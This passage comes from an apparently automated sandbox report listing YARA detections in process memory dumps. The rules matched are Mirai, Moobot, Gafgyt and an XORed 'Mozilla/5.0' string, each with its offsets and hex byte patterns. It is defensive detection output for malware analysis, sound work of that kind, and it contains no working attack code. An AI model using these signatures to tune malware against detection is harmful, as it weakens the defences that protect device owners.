4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7334.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6260.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7154.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6376.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7441.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6792.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6850.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6777.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6565.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7144.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7439.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7439.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7439.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7439.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7439.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7439.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6852.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6852.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6852.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6852.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6852.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6852.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6985.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6405.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7297.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6785.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6785.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6785.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6785.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6785.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6785.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6468.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6468.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6468.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6468.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6468.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6468.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6967.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6967.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6967.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6967.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
